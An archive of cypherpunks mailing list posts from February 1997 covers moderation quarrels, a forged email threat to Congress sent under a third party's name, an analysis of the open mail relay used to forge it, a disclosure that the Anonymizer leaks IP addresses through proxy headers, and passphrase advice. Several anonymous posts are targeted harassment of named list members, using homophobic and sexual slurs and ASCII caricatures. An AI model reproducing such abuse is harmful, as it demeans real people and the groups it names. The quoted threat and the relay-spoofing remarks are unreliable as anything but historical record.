Time" 

Call-in questions will be taken during the show at (301) 847-6571. 

****

This video interview can be viewed on the ISP-TV main CU-SeeMe reflector
at IP 205.197.248.54, or other ISP-TV affiliate reflectors listed at
http://isptv.digex.net/members.html. 

See URL http://isptv.digex.net for more information about the ISP-TV
Network

To get email about future programming on ISP-TV, email the word
"subscribe" to isptv-prog-request@isptv.digex.net. 

To obtain Enhanced CU-SeeMe software, go to:

	http://goliath.wpine.com/cudownload.htm






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sun, 9 Feb 1997 10:23:21 -0800 (PST)
To: cypherpunks@toad.com
Subject: Who's Censoring Who?
Message-ID: <1.5.4.32.19970209181732.006dba6c@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


Sandy's e-mailed several of us who've sent messages about Vulis's
ploy to put Sandy in a conflict-of-interest bind -- a well-known attack 
on moderators of all kinds, not just on the net. 

What's worth admiring is how Vulis has adeptly managed to get others
 -- targets and witting and unwitting cohorts -- to go along with his attack, 
attack, attack, by opposing or supporting it. A useful lesson.

Smart dude, that Vulis, but no more so than others on the Net, say, Tim
May, and in the world who've done the same elsewhere, maybe 
by even smarter dude(s) who provoked, angered, insulted, an unwitting 
Vulis, or May, to attack on behalf of ... 

But such deception is to be expected, along with feigned suprise and
outrage at the unfairness of opponents fighting as dirty as one's own
pure-blackhearts.

Sandy's not censoring cypherpunks, nor is Vulis or May or any single 
person alone. As Pogo said, it's all of us, posters and lurkers and spooks, 
each trying to get one's way to prevail, under guise of a high principle not 
easily honored when the squeeze is on alone in a dark cell. Come on out
Sandy, it was just a drill.

It's probably worth saving accusations of censorship for the real thing, 
after trial usage here for what is truly nasty high-stakes global info-war 
gaming.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@wazoo.com (Anonymous)
Date: Sun, 9 Feb 1997 12:20:53 -0800 (PST)
To: cypherpunks@toad.com
Subject: Corelation
Message-ID: <199702092020.NAA14898@earth.wazoo.com>
MIME-Version: 1.0
Content-Type: text/plain


Dogfucker Vulture KreepOfTheMinute enjoys sucking the puss from his
syphilitic faggot friends.

 v-v-v-@@-v-v-v
      (..)     Dogfucker Vulture KreepOfTheMinute






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sun, 9 Feb 1997 14:09:17 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [PVT] Export restrictions
Message-ID: <199702092209.OAA27719@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Drunkard Vindictive K[ock] Of The Minute wears satin lingerie
embroidered with pink swastikas, prancing around for his homosexual,
AIDS infected lovers.

      o_o
     (   )  Drunkard Vindictive K[ock] Of The Minute
    ( | | )
    ' " " `






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@wazoo.com (Anonymous)
Date: Sun, 9 Feb 1997 13:17:45 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: MS Crypto API
Message-ID: <199702092117.OAA16670@earth.wazoo.com>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dimmy L(ogjam) Vulgar K(rust) Of The Minute sits at his terminal
dressed in five-inch stiletto heels, fishnet stockings, a gold-lame
mini-skirt, a purple halter with girdle underneath to keep in his
flabby gut, a Fredericks of Hollywood padded bra also underneath the
halter, a cheap Naomi Sims pink afro wig, waiting to yank his crank
whenever a black man responds to one of his inane rants.

   |\     \ \ \ \ \ \ \     __
   |  \    \ \ \ \ \ \ \   | O~-_ Dr.Dimmy L(ogjam) Vulgar K(rust) Of The Minute
   |   >----|-|-|-|-|-|-|--|  __/
   |  /    / / / / / / /   |__\
   |/     / / / / / / /





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Date: Sun, 9 Feb 1997 11:20:52 -0800 (PST)
To: bdolan@USIT.NET
Subject: Re:  RRE: Proposed satellite monitoring of car movements in Sweden
Message-ID: <01IF7R5JKCAO9AN66A@mbcl.rutgers.edu>
MIME-Version: 1.0
Content-Type: text/plain


From:	IN%"bdolan@USIT.NET"  "Brad Dolan"  9-FEB-1997 10:35:16.85

>"Love it or leave it?"

>On Sun, 9 Feb 1997, Phil Agre wrote:

>> You have plenty of choice.  If you don't like our country, move somewhere
>> else.

	I made the point back to Dr. Agre that I can't choose to live in
_no_ country (at least not practically), but I can (except for state-imposed
limits) live without automobile insurance. I already do so for credit cards,
except for one I use only in emergencies.
	-Allen




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Sun, 9 Feb 1997 11:29:42 -0800 (PST)
To: lindat@iquest.net
Subject: Email forgery
In-Reply-To: <199702091342.IAA16533@holy.cow.net>
Message-ID: <Pine.LNX.3.95.970209142725.564B-100000@purple.voicenet.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

This is a very strange forgery.  It appears that the attacker used
fcaglp.fcaglp.unlp.edu.ar as a relay.  This machine is running an old version
of HP sendmail that apparently accepts any hostname the user enters after
"helo".  I tried sending myself fakemail using this site but haven't got a
response yet.  The interesting thing is that the attacker used the hostname
echotech.com and not iquest.net.  echotech.com is a real domain so the attacker
might have been dumb enough to connect from echotech.com and enter the real
origin.  Or the SMTP server might just pretend it's fooled and put the real
hostname in the received header regardless of what's entered after the helo.
I'm not familiar with HP sendmail so I don't know whether this is true or not.

On Sun, 9 Feb 1997, Bovine Remailer wrote:

> Date: Sun, 9 Feb 1997 08:42:45 -0500 (EST)
> From: Bovine Remailer <haystack@holy.cow.net>
> To: cypherpunks@toad.com
>
> NEW ATTACK ON CP LIST
>
>
> >Date: Sun, 9 Feb 1997 03:55:04 -0500
> >From: Linda Thompson <lindat@iquest.net>
> >To: robert@iquest.net
> >Cc: aen-news@aen.org
> >Subject: URGENT
> >
> >Someone is sending THREATS to the President and Senate and using *MY*
> >name
> >and account to do it.  One bounced and was sent to me.  You should be
> >able
> >to find out where it came from by the message I.D.  I think it is
> >EXTREMELY
> >important that you find out where this came from!!
> >
> >Also, earlier in the day, I got a message that I was subscribed by
> >"majordomo" to cypherpunks.  I did NOT subscribe to cypherpunks and I
> >would
> >bet that whoever did THAT also sent this message.
> >
> >Here's the threat message:
> >
> >Return-Path: <MAILER-DAEMON@fcaglp.fcaglp.unlp.edu.ar>
> >Delivered-To: lindat@iquest.net
> >Received: (qmail 29848 invoked from network); 9 Feb 1997 02:51:40 -0000
> >Received: from fcaglp.fcaglp.unlp.edu.ar (163.10.4.1)
> >  by iquest3.iquest.net with SMTP; 9 Feb 1997 02:51:40 -0000
> >Received: by fcaglp.fcaglp.unlp.edu.ar
> >	(1.38.193.4/16.2) id AI19659; Sat, 8 Feb 1997 23:49:27 -0300
> >Message-Id: <9702090249.AI19659@fcaglp.fcaglp.unlp.edu.ar>
> >Date: Sat, 8 Feb 1997 05:12:37 -0300
> >From: MAILER-DAEMON@fcaglp.fcaglp.unlp.edu.ar (Mail Delivery Subsystem)
> >Subject: Returned mail: User unknown
> >To: lindat@iquest.net
> >X-UIDL: 85c7fe8ecdc2605eb6bc80bfa71b223e
> >Status: U
> >
> >   ----- Transcript of session follows -----
> >550 xfAA16374: line 6: vice-president@whitehouse.gov... User unknown
> >
> >   ----- Unsent message follows -----
> >Received: from echotech.com by fcaglp.fcaglp.unlp.edu.ar with SMTP
> >	(1.38.193.4/16.2) id AA16374; Sat, 8 Feb 1997 05:12:37 -0300
> >Message-Id: <9702080812.AA16374@fcaglp.fcaglp.unlp.edu.ar>
> >Date: Sat, 8 Feb 1997 05:12:37 -0300
> >From: lindat@iquest.net
> >Return-Path: <lindat@iquest.net>
[recipient list deleted]
> >Reply-To: lindat@iquest.net
> >Return-Receipt-To: lindat@iquest.net
> >Comment: Authenticated sender is <lindat@iquest.net>
> >Subject: message to USSA Senate
> >
> >All files on the Senate's computers will be deleted by our
> >gang of cypherpunks dedicated to the eradication of your systems.



Mark
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w/ifDrqeQhFWXtNC64iRFJm7EEOMDJ56rNVUA8NkKJZstl8ny/7LTFeTDGxf18gL
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1imu97YBiP0EPveEdD5yIlH23rZRbCJ9RmDrZruCY2ldG1wJh3+6Jg==
=psFL
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@wazoo.com (Anonymous)
Date: Sun, 9 Feb 1997 14:06:15 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [RANT] WANTED: Tolerant, anonymity-friendly news admins
Message-ID: <199702092206.PAA18345@earth.wazoo.com>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Drunkard Virus K}arcass{OTM enjoys sucking the puss from his
syphilitic queer friends.

            ///
           (0 0)
    ____ooO_(_)_Ooo__ Dr.Drunkard Virus K}arcass{OTM






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Damaged Justice <frogfarm@yakko.cs.wmich.edu>
Date: Sun, 9 Feb 1997 12:12:53 -0800 (PST)
To: cypherpunks@toad.com
Subject: ANON: anonymizer.com thru proxy server is bad news
Message-ID: <199702092015.PAA30654@yakko.cs.wmich.edu>
MIME-Version: 1.0
Content-Type: text



>From: jmccorm@galstar.com (Josh McCormick)
Newsgroups: comp.infosystems.www.misc,alt.anonymous,comp.infosystems.www.browsers.misc,alt.2600,ok.general
Subject: NOT ALWAYS ANONYMOUS: "www.anonymizer.com"
Date: 9 Feb 1997 19:25:46 GMT
Lines: 43
Message-ID: <5dl8bq$6h3@mercury.galstar.com>

THE CLAIM:
> Our "anonymizer" service allows you to surf the web without
> revealing any personal information.

THE PROBLEM:
> If you access The Anonymizer through a proxy server, it may add a 
> variable, such as "HTTP_FORWARDED", that The Anonymizer does not filter 
> out, revealing your true identity.

THE DATA:
> Below is a printout of the variables from an "anonymous" session done 
> through The Anonymizer when accessed through the Squid proxy server.

REMOTE_HOST=darkmatter.infonex.com
REMOTE_ADDR=206.170.114.24
HTTP_USER_AGENT=Mozilla/3.01 (via THE ANONYMIZER!)
HTTP_HOST=sol.infonex.com:8080
HTTP_FORWARDED=by http://galaxy.galstar.com:3128/ (Squid/1.0.20) for 204.251.83.41
HTTP_PRAGMA=no-cache
HTTP_PROXY_CONNECTION=Keep-Alive

THE RESULT:
> A CGI script could see that you were using The Anonymizer to hide 
> yourself, but your true IP address is revealed in the "HTTP_FORWARDED" 
> string.

THE SUMMARY:
> Beware using an anonymous browsing service if you are going through a 
> proxy server. Until they remove the information provided by proxy 
> servers, using their service isn't as anonymous as they say.

THE QUOTE:
> (from The Anonymizer home page) "Many people surf the web under the
> illusion that their actions are private and anonymous. Unfortunately, it
> isn't so." 

=====================================================================
== Josh McCormick             Galaxy Star Systems                  ==
== jmccorm@galstar.com        Providing Quality Internet Access    ==
== Systems Administrator      WWW: http://www.galstar.com/~jmccorm ==
=====================================================================

--
http://yakko.cs.wmich.edu/~frogfarm/  ...for the best in unapproved information
 "Would I had phrases that are not known, utterances that are strange, in new
 language that has not been used, free from repetition, not an utterance which
 has grown stale, which men of old have spoken."  - inscribed on Egyptian tomb 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Sun, 9 Feb 1997 15:55:29 -0800 (PST)
To: cypherpunks@toad.com
Subject: ComLaw> URGENT!!  SET UP IN PROGRESS!! (fwd)
Message-ID: <199702092355.PAA12294@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


I'm forwarding this from the commonlaw list because of the usage of the 
name, "cypherpunks."


>Date: Mon, 10 Feb 1997 00:50:48 +0100 (NFT)
>From: Slater <slater@ts.umu.se>
>To: commonlaw@teleport.com
>Subject: ComLaw> URGENT!!  SET UP IN PROGRESS!! (fwd)
>Sender: owner-commonlaw@teleport.com
>
>
>---------- Forwarded message ----------
>Date: Mon, 10 Feb 1997 00:46:40 GMT
>From: Linda Thompson <lindat@iquest.net>
>To: aen-news@aen.org
>Cc: robert@iquest.net
>Subject: URGENT!!  SET UP IN PROGRESS!!
>
>This morning near 3:00 a.m., somebody sent messages to ALL the Senate and
>House members, putting *MY* email name and address on them, and another set,
>putting *AL'S* email name and address on them, threatening to delete all the
>House and Senate files (whatever THAT means), saying:
>
>"All files on the Senate's computers will be deleted by our
>gang of cypherpunks dedicated to the eradication of your systems."
>
>[The one to the House members was the same, except the word "Senate" was
>"House."]
>
>Some of the messages had bad addresses, though, so they bounced to us, since
>whoever the real sender was had put our names as the "sender," which is how
>we found out about it.
>
>This looks like someone could be really intending to do something to the
>House/Senate computers and they are obviously trying to lay it at our feet.
>
>Is there legislation pending somewhere that somebody needed a so-called
>"terrorist threat" to get it passed ??!!
>
>I have a 1 meg file of the messages we got and the messages we sent out to
>our service provider and to the Secret Service I would appreciate if people
>would be willing to store for safe keeping.
>
>Can anyone make the file available for FTP?  We don't have an FTP site.
>
>We are definitely being set up.
>
>
>
>
>Kind regards,
>
>Linda Thompson
>
>********************  V  ***************************
>  DEATH TO THE NEW WORLD ORDER 
>***************************************************
>Dr. Linda Thompson
>Attorney at Law
>Chairman, American Justice Federation
>Internet:  lindat@iquest.net
>
>****************************************************
>       Remember Waco.
>  The Murderers are still free.
>**************************************************** 
>Have you seen this yet?
>
>    http://206.55.8.10/SkyWriter/WacoMuseum
>
>
>
>
>
Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Date: Sun, 9 Feb 1997 13:06:02 -0800 (PST)
To: unde0275@frank.mtsu.edu>
Subject: Re: Passphrase generation
In-Reply-To: <01BC1675.656788C0@s17-pm04.tnstate.campus.mci.net>
Message-ID: <0mzXk_200YUf021bA0@andrew.cmu.edu>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Internaut <unde0275@frank.mtsu.edu> writes:
> Hi,
> I am wanting to learn how to generate a passphrase that is at least as 
> strong as the IDEA algorithm.  I have looked several other places on the 
> web for an answer to this, but they all had different things to say that 
> didn't add up (no pun intended :).

Chech out the cannonical passphrase FAQ:
http://www.stack.nl/~galactus/remailers/passphrase-faq.html

This one has some quick reminders of what to do and not to do
http://www.encryption.com/pphrase.htm

Bottom line, totally random ASCII will have lots of bits per
character, but english has about 1.2 bits per character. Misspellings
can add to that, depending on the extent of mutillation . Combining
certain words can make your passphrase weaker (such as "To be or not
to be," "This is my passphrase," etc.).

HTH,
Jer

"standing on top of the world/ never knew how you never could/ never knew
 why you never could live/ innocent life that everyone did" -Wormhole

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Version: 2.6.2

iQB1AwUBMv48Bskz/YzIV3P5AQGSaQMAjrTuhDUZ4THFFN9wgV8DhODJtHSGnmBM
EPmo02rXsN4gslmVpV9+k7sRTOvuZ+vCYvNQL+knaMz4QiNsz8FUleUqo3v5Nx1w
7pJjcWK1wvKe9Y6ky6PXnAECRZ73gVuj
=P1Zh
-----END PGP SIGNATURE-----




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sun, 9 Feb 1997 18:40:16 -0800 (PST)
To: cypherpunks@toad.com
Subject: None
Message-ID: <199702100240.SAA11256@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Timothy `C' May's obsessive masturbation has 
lead to advanced degree of blindness and 
hairy palms.

         o-:^>___? Timothy `C' May
         `~~c--^c'






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Jerry Basham" <scndsun@sprynet.com>
Date: Sun, 9 Feb 1997 17:44:03 -0800 (PST)
To: <2ndSun@bigfoot.com>
Subject: Re: POST: The Frightening Dangers of Moderation
Message-ID: <199702100143.RAA16707@m1.sprynet.com>
MIME-Version: 1.0
Content-Type: text/plain


Return-Path: <autoresponder@WhiteHouse.gov>
Received: from WhiteHouse.gov (whitehouse.gov [198.137.241.30])
	by falcon.inetnebr.com (8.8.5/8.8.5) with ESMTP id TAA05593
	for <scndsun@inetnebr.com>; Sun, 9 Feb 1997 19:25:39 -0600 (CST)
From: autoresponder@WhiteHouse.gov
Received: (from uucp@localhost) by WhiteHouse.gov (8.7.1/uucp-relay) id
UAA01520; Sun, 9 Feb 1997 20:24:32 -0500 (EST)
Date: Sun, 9 Feb 1997 20:24:32 -0500 (EST)
Message-Id: <199702100124.UAA01520@WhiteHouse.gov>
X-AutoReplying-To: scndsun@inetnebr.com
Subject: Re: message to USSA House of Representatives
To: scndsun@inetnebr.com
X-UIDL: f16144392bbe54c5667860b9458f5526

    Thank you for writing to President Clinton via electronic
mail.  Since June, 1993, whitehouse.gov has received over one
million messages from people across the country and around the
world.  

    Because so many of you write, the President cannot
personally review each message.  The mail is first read by White
House Correspondence staff.  Your concerns, ideas, and
suggestions are carefully recorded and communicated to the
President weekly with a representative sampling of the mail.

     We are excited about the progress of online communication as
a tool to bring government and the people closer together.  Your
continued interest and participation are very important to that
goal.

                       Sincerely,

                       Stephen K. Horn
                       Director, Presidential Email
                       The Office of Correspondence

P.S. Please read on - you may find the following information
useful.

--  This is the only electronic message you will receive from
whitehouse.gov.  No other message purporting to be from the
President or his staff with an address at whitehouse.gov is
authentic.  If you have received such a message, you have been
spoofed.

--  You will receive only one autoresponder message per day.

--  The only personal addresses at whitehouse.gov are the
following:

    President@whitehouse.gov
    Vice.President@whitehouse.gov
    First.Lady@whitehouse.gov

Please write to Mrs. Gore and other White House staff by regular
mail.  The address is:  

     The White House, Washington, D.C. 20500.

--   On October 20, 1994, President Clinton and Vice President
Gore opened a World Wide Web home page called "Welcome to the
White House:  An Interactive Citizens' Handbook" and it remains
one of the more popular spots on the Web.  The White House
home page provides, among other things,  a single point of access
to all government information available electronically on the
Internet.  "Welcome to the White House" can be accessed at:

               http://www.whitehouse.gov

--   White House documents and publications are available on the
World Wide Web (see above) and by email.  To receive instructions
on retrieving documents by email, please send a message to the
following address:

               publications@whitehouse.gov

In the body of your message, type "Send Info" (without quotes);
do not include other text (such as message headers or
signature lines (.sig files)).  The instructions will be sent to
you automatically.

****************************************************************
List of Clinton Administration Accomplishments (three documents
compose the whole):

    To:  publications@whitehouse.gov
    Message body:      send file 317571
                       send file 317573
                       send file 317575
****************************************************************

--   The White House Public Access Email FAQ (Frequently Asked
Questions) document is available at the following address.  The
FAQ, among other things, lists alternate sources of government
information, i.e., the Congressional email projects.  Send an
email message (no text necessary) to:

               faq@whitehouse.gov

(This FAQ address is an autoresponder only; any comment sent to
this address will not be acknowledged.)



----------
> From: Dale Thorn <dthorn@gte.net>
> To: Jerry Basham <2ndSun@bigfoot.com>
> Cc: cypherpunks@toad.com; freedom-knights@jetcafe.org
> Subject: Re: POST: The Frightening Dangers of Moderation
> Date: Saturday, February 08, 1997 7:48 PM
> 
> Jerry Basham wrote:
> 
> > Ok...this is the fourth junk e-mail I've received that I don't want. 
Your
> > account is in jeapordy, and my advice is for you to just stop sending
me
> > this junk.  Take me off your e-mail list, NOW.
> > If this e-mail from me, being mad at you, is what makes you happy, and
is
> > how you have fun, then you just have a personal problem and I feel
sorry
> > for you.
> > Do what you can to heal yourself...meanwhile, don't send me
anymore...your
> > isp provider is next on my e-mail list.
> 
> Jerry, my provider is GTE, and if you think you can make a dent in
> them, go ahead and butt your head against the wall.  No sweat offa
> my ass.
> 
> OTOH, if you stop bitching and groaning long enough to figure out
> who is doing the remailing etc., then you'll be miles ahead.  I'm
> not optimistic.
> 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Jerry Basham" <scndsun@sprynet.com>
Date: Sun, 9 Feb 1997 17:44:04 -0800 (PST)
To: <2ndSun@bigfoot.com>
Subject: Re: POST: The Frightening Dangers of Moderation
Message-ID: <199702100143.RAA16717@m1.sprynet.com>
MIME-Version: 1.0
Content-Type: text/plain




----------
> From: Dale Thorn <dthorn@gte.net>
> To: Jerry Basham <2ndSun@bigfoot.com>
> Cc: cypherpunks@toad.com; freedom-knights@jetcafe.org
> Subject: Re: POST: The Frightening Dangers of Moderation
> Date: Saturday, February 08, 1997 7:48 PM
> 
> Jerry Basham wrote:
> 
> > Ok...this is the fourth junk e-mail I've received that I don't want. 
Your
> > account is in jeapordy, and my advice is for you to just stop sending
me
> > this junk.  Take me off your e-mail list, NOW.
> > If this e-mail from me, being mad at you, is what makes you happy, and
is
> > how you have fun, then you just have a personal problem and I feel
sorry
> > for you.
> > Do what you can to heal yourself...meanwhile, don't send me
anymore...your
> > isp provider is next on my e-mail list.
> 
> Jerry, my provider is GTE, and if you think you can make a dent in
> them, go ahead and butt your head against the wall.  No sweat offa
> my ass.
> 
> OTOH, if you stop bitching and groaning long enough to figure out
> who is doing the remailing etc., then you'll be miles ahead.  I'm
> not optimistic.
> 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Jerry Basham" <scndsun@sprynet.com>
Date: Sun, 9 Feb 1997 17:44:09 -0800 (PST)
To: <2ndSun@bigfoot.com>
Subject: Re: POST: The Frightening Dangers of Moderation
Message-ID: <199702100143.RAA16749@m1.sprynet.com>
MIME-Version: 1.0
Content-Type: text/plain


You're going to have to find a way to make this junk, piss juvenile crap
stop coming into my e-mail box.  Period.

----------
> From: Dale Thorn <dthorn@gte.net>
> To: Jerry Basham <2ndSun@bigfoot.com>
> Cc: cypherpunks@toad.com; freedom-knights@jetcafe.org
> Subject: Re: POST: The Frightening Dangers of Moderation
> Date: Saturday, February 08, 1997 7:48 PM
> 
> Jerry Basham wrote:
> 
> > Ok...this is the fourth junk e-mail I've received that I don't want. 
Your
> > account is in jeapordy, and my advice is for you to just stop sending
me
> > this junk.  Take me off your e-mail list, NOW.
> > If this e-mail from me, being mad at you, is what makes you happy, and
is
> > how you have fun, then you just have a personal problem and I feel
sorry
> > for you.
> > Do what you can to heal yourself...meanwhile, don't send me
anymore...your
> > isp provider is next on my e-mail list.
> 
> Jerry, my provider is GTE, and if you think you can make a dent in
> them, go ahead and butt your head against the wall.  No sweat offa
> my ass.
> 
> OTOH, if you stop bitching and groaning long enough to figure out
> who is doing the remailing etc., then you'll be miles ahead.  I'm
> not optimistic.
> 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Jerry Basham" <scndsun@sprynet.com>
Date: Sun, 9 Feb 1997 17:44:18 -0800 (PST)
To: <2ndSun@bigfoot.com>
Subject: Re: POST: The Frightening Dangers of Moderation
Message-ID: <199702100144.RAA16772@m1.sprynet.com>
MIME-Version: 1.0
Content-Type: text/plain




----------
> From: Dale Thorn <dthorn@gte.net>
> To: Jerry Basham <2ndSun@bigfoot.com>
> Cc: cypherpunks@toad.com; freedom-knights@jetcafe.org
> Subject: Re: POST: The Frightening Dangers of Moderation
> Date: Saturday, February 08, 1997 7:48 PM
> 
> Jerry Basham wrote:
> 
> > Ok...this is the fourth junk e-mail I've received that I don't want. 
Your
> > account is in jeapordy, and my advice is for you to just stop sending
me
> > this junk.  Take me off your e-mail list, NOW.
> > If this e-mail from me, being mad at you, is what makes you happy, and
is
> > how you have fun, then you just have a personal problem and I feel
sorry
> > for you.
> > Do what you can to heal yourself...meanwhile, don't send me
anymore...your
> > isp provider is next on my e-mail list.
> 
> Jerry, my provider is GTE, and if you think you can make a dent in
> them, go ahead and butt your head against the wall.  No sweat offa
> my ass.
> 
> OTOH, if you stop bitching and groaning long enough to figure out
> who is doing the remailing etc., then you'll be miles ahead.  I'm
> not optimistic.
> 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Jerry Basham" <scndsun@sprynet.com>
Date: Sun, 9 Feb 1997 17:46:20 -0800 (PST)
To: <2ndSun@bigfoot.com>
Subject: Re: POST: The Frightening Dangers of Moderation
Message-ID: <199702100146.RAA17220@m1.sprynet.com>
MIME-Version: 1.0
Content-Type: text/plain


You're giong to have to find a way to get me off of your piss-ant mailing
list.

----------
> From: Dale Thorn <dthorn@gte.net>
> To: Jerry Basham <2ndSun@bigfoot.com>
> Cc: cypherpunks@toad.com; freedom-knights@jetcafe.org
> Subject: Re: POST: The Frightening Dangers of Moderation
> Date: Saturday, February 08, 1997 7:48 PM
> 
> Jerry Basham wrote:
> 
> > Ok...this is the fourth junk e-mail I've received that I don't want. 
Your
> > account is in jeapordy, and my advice is for you to just stop sending
me
> > this junk.  Take me off your e-mail list, NOW.
> > If this e-mail from me, being mad at you, is what makes you happy, and
is
> > how you have fun, then you just have a personal problem and I feel
sorry
> > for you.
> > Do what you can to heal yourself...meanwhile, don't send me
anymore...your
> > isp provider is next on my e-mail list.
> 
> Jerry, my provider is GTE, and if you think you can make a dent in
> them, go ahead and butt your head against the wall.  No sweat offa
> my ass.
> 
> OTOH, if you stop bitching and groaning long enough to figure out
> who is doing the remailing etc., then you'll be miles ahead.  I'm
> not optimistic.
> 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Jerry Basham" <scndsun@sprynet.com>
Date: Sun, 9 Feb 1997 17:47:23 -0800 (PST)
To: <2ndSun@bigfoot.com>
Subject: Re: POST: The Frightening Dangers of Moderation
Message-ID: <199702100147.RAA17442@m1.sprynet.com>
MIME-Version: 1.0
Content-Type: text/plain


You're going to have to fine a way to get me off of your piss-ant mailing
list.

----------
> From: Dale Thorn <dthorn@gte.net>
> To: Jerry Basham <2ndSun@bigfoot.com>
> Cc: cypherpunks@toad.com; freedom-knights@jetcafe.org
> Subject: Re: POST: The Frightening Dangers of Moderation
> Date: Saturday, February 08, 1997 7:48 PM
> 
> Jerry Basham wrote:
> 
> > Ok...this is the fourth junk e-mail I've received that I don't want. 
Your
> > account is in jeapordy, and my advice is for you to just stop sending
me
> > this junk.  Take me off your e-mail list, NOW.
> > If this e-mail from me, being mad at you, is what makes you happy, and
is
> > how you have fun, then you just have a personal problem and I feel
sorry
> > for you.
> > Do what you can to heal yourself...meanwhile, don't send me
anymore...your
> > isp provider is next on my e-mail list.
> 
> Jerry, my provider is GTE, and if you think you can make a dent in
> them, go ahead and butt your head against the wall.  No sweat offa
> my ass.
> 
> OTOH, if you stop bitching and groaning long enough to figure out
> who is doing the remailing etc., then you'll be miles ahead.  I'm
> not optimistic.
> 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Jerry Basham" <scndsun@sprynet.com>
Date: Sun, 9 Feb 1997 17:48:12 -0800 (PST)
To: <2ndSun@bigfoot.com>
Subject: Re: POST: The Frightening Dangers of Moderation
Message-ID: <199702100147.RAA17595@m1.sprynet.com>
MIME-Version: 1.0
Content-Type: text/plain




----------
> From: Dale Thorn <dthorn@gte.net>
> To: Jerry Basham <2ndSun@bigfoot.com>
> Cc: cypherpunks@toad.com; freedom-knights@jetcafe.org
> Subject: Re: POST: The Frightening Dangers of Moderation
> Date: Saturday, February 08, 1997 7:48 PM
> 
> Jerry Basham wrote:
> 
> > Ok...this is the fourth junk e-mail I've received that I don't want. 
Your
> > account is in jeapordy, and my advice is for you to just stop sending
me
> > this junk.  Take me off your e-mail list, NOW.
> > If this e-mail from me, being mad at you, is what makes you happy, and
is
> > how you have fun, then you just have a personal problem and I feel
sorry
> > for you.
> > Do what you can to heal yourself...meanwhile, don't send me
anymore...your
> > isp provider is next on my e-mail list.
> 
> Jerry, my provider is GTE, and if you think you can make a dent in
> them, go ahead and butt your head against the wall.  No sweat offa
> my ass.
> 
> OTOH, if you stop bitching and groaning long enough to figure out
> who is doing the remailing etc., then you'll be miles ahead.  I'm
> not optimistic.
> 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Jerry Basham" <scndsun@sprynet.com>
Date: Sun, 9 Feb 1997 17:48:23 -0800 (PST)
To: <2ndSun@bigfoot.com>
Subject: Re: POST: The Frightening Dangers of Moderation
Message-ID: <199702100148.RAA17625@m1.sprynet.com>
MIME-Version: 1.0
Content-Type: text/plain




----------
> From: Dale Thorn <dthorn@gte.net>
> To: Jerry Basham <2ndSun@bigfoot.com>
> Cc: cypherpunks@toad.com; freedom-knights@jetcafe.org
> Subject: Re: POST: The Frightening Dangers of Moderation
> Date: Saturday, February 08, 1997 7:48 PM
> 
> Jerry Basham wrote:
> 
> > Ok...this is the fourth junk e-mail I've received that I don't want. 
Your
> > account is in jeapordy, and my advice is for you to just stop sending
me
> > this junk.  Take me off your e-mail list, NOW.
> > If this e-mail from me, being mad at you, is what makes you happy, and
is
> > how you have fun, then you just have a personal problem and I feel
sorry
> > for you.
> > Do what you can to heal yourself...meanwhile, don't send me
anymore...your
> > isp provider is next on my e-mail list.
> 
> Jerry, my provider is GTE, and if you think you can make a dent in
> them, go ahead and butt your head against the wall.  No sweat offa
> my ass.
> 
> OTOH, if you stop bitching and groaning long enough to figure out
> who is doing the remailing etc., then you'll be miles ahead.  I'm
> not optimistic.
> 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Jerry Basham" <scndsun@sprynet.com>
Date: Sun, 9 Feb 1997 17:48:34 -0800 (PST)
To: <2ndSun@bigfoot.com>
Subject: Re: POST: The Frightening Dangers of Moderation
Message-ID: <199702100148.RAA17712@m1.sprynet.com>
MIME-Version: 1.0
Content-Type: text/plain




----------
> From: Dale Thorn <dthorn@gte.net>
> To: Jerry Basham <2ndSun@bigfoot.com>
> Cc: cypherpunks@toad.com; freedom-knights@jetcafe.org
> Subject: Re: POST: The Frightening Dangers of Moderation
> Date: Saturday, February 08, 1997 7:48 PM
> 
> Jerry Basham wrote:
> 
> > Ok...this is the fourth junk e-mail I've received that I don't want. 
Your
> > account is in jeapordy, and my advice is for you to just stop sending
me
> > this junk.  Take me off your e-mail list, NOW.
> > If this e-mail from me, being mad at you, is what makes you happy, and
is
